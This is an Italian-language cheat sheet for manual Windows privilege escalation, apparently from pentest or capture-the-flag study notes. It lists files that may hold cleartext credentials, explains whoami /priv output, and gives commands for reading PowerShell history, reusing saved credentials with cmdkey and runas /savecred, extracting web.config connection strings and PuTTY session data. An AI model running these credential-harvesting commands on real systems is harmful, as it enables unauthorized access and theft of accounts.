tags: priv_esc windows manuale


Il RID dell'utente che ha 500 è il vero amministratore

Una volta entrati come prima cosa possiamo andare in cerca di credenziali che si potrebbero trovare in chiaro. Delle buone rotte su cui guardare sono:

C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
C:\Windows\Panther\ 
C:\Windows\Panther\UnattendGC\ 
C:\Windows\System32\ 
C:\Windows\System32\sysprep\ 

In caso non si riuscissero a trovare credenziali possiamo utilizzare un comando che ci consente di vedere quali privilegi ha il nostro utente, nel senso che gli output derivati dal comando che sono Enabled potranno essere sfruttati dal nostro utente corrente, mentre quelli disabled sono presenti sulla macchina, ma il nostro utente non può utilizzarli, ecco un esempio:

PS C:\Program Files (x86)\Jenkins> whoami /priv
 
PRIVILEGES INFORMATION
----------------------
 
Privilege Name                  Description                               State   
=============================== ========================================= ========
SeIncreaseQuotaPrivilege        Adjust memory quotas for a process        Disabled
SeSecurityPrivilege             Manage auditing and security log          Disabled
SeTakeOwnershipPrivilege        Take ownership of files or other objects  Disabled
SeLoadDriverPrivilege           Load and unload device drivers            Disabled
SeSystemProfilePrivilege        Profile system performance                Disabled
SeSystemtimePrivilege           Change the system time                    Disabled
SeProfileSingleProcessPrivilege Profile single process                    Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority              Disabled
SeCreatePagefilePrivilege       Create a pagefile                         Disabled
SeBackupPrivilege               Back up files and directories             Disabled
SeRestorePrivilege              Restore files and directories             Disabled
SeShutdownPrivilege             Shut down the system                      Disabled
SeDebugPrivilege                Debug programs                            Enabled 
SeSystemEnvironmentPrivilege    Modify firmware environment values        Disabled
SeChangeNotifyPrivilege         Bypass traverse checking                  Enabled 
SeRemoteShutdownPrivilege       Force shutdown from a remote system       Disabled
SeUndockPrivilege               Remove computer from docking station      Disabled
SeManageVolumePrivilege         Perform volume maintenance tasks          Disabled
SeImpersonatePrivilege          Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege         Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege   Increase a process working set            Disabled
SeTimeZonePrivilege             Change the time zone                      Disabled
SeCreateSymbolicLinkPrivilege   Create symbolic links                     Disabled

Da questo output possiamo notare che i privilegi SeDebugPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege possono essere sfruttati dal nostro utente. Quindi per esempio si potrebbe sfruttare il privilegio SeImpersonatePrivilage per impersonare un processo di sistema ed aumentare i privilegi per esempio con Meterpreter.

Siccome powershell e cmd hanno una funzione di memorizzazione dei comandi per evitare all’utente di ricordarsi i comandi possiamo utilizzare dei comandi per farci dire quali comandi ha digitato l’utente e magari ricavare informazioni utili per una shell cmd utilizzare il seguente comando:

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Mentre per powershell:

type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Questo comando ci permette di vedere degli utenti ai quali possiamo autenticarci senza necessariamente il bisogno di una password:

cmdkey /list
 
#Esempio di risultato
 
PS C:\> cmdkey /list
 
Currently stored credentials:
 
    Target: Domain:interactive=WPRIVESC1\admin
    Type: Domain Password
    User: WPRIVESC1\admin
 
    Target: Domain:interactive=WPRIVESC1\mike.katz
    Type: Domain Password
    User: WPRIVESC1\mike.katz
 
#Quindi abbiamo trovato l'utente mike.katz

Per vedere le scheduled task possiamo usare il seguente comando:

schtasks 

Questo comando ci permette di loggarci:

runas /savecred /user:admin cmd.exe
 
#Quindi utilizzando l'esempio di sopra possiamo autenticarci come mike.katz senza password con il seguente comando:
 
runas /savecred /user:mike.katz cmd.exe
 
#Questo comando ci farà apparire una cmd con privilegi di mike.katz

Per trovare credenziali riguardo a database e roba web possiamo cercare nelle seguenti rotte:

C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

Oppure utilizzare questo comando:

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

In Windows è possibile trovare le credenziali di accesso al servizio SSH tramite il client PuTTY con il seguente comando:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s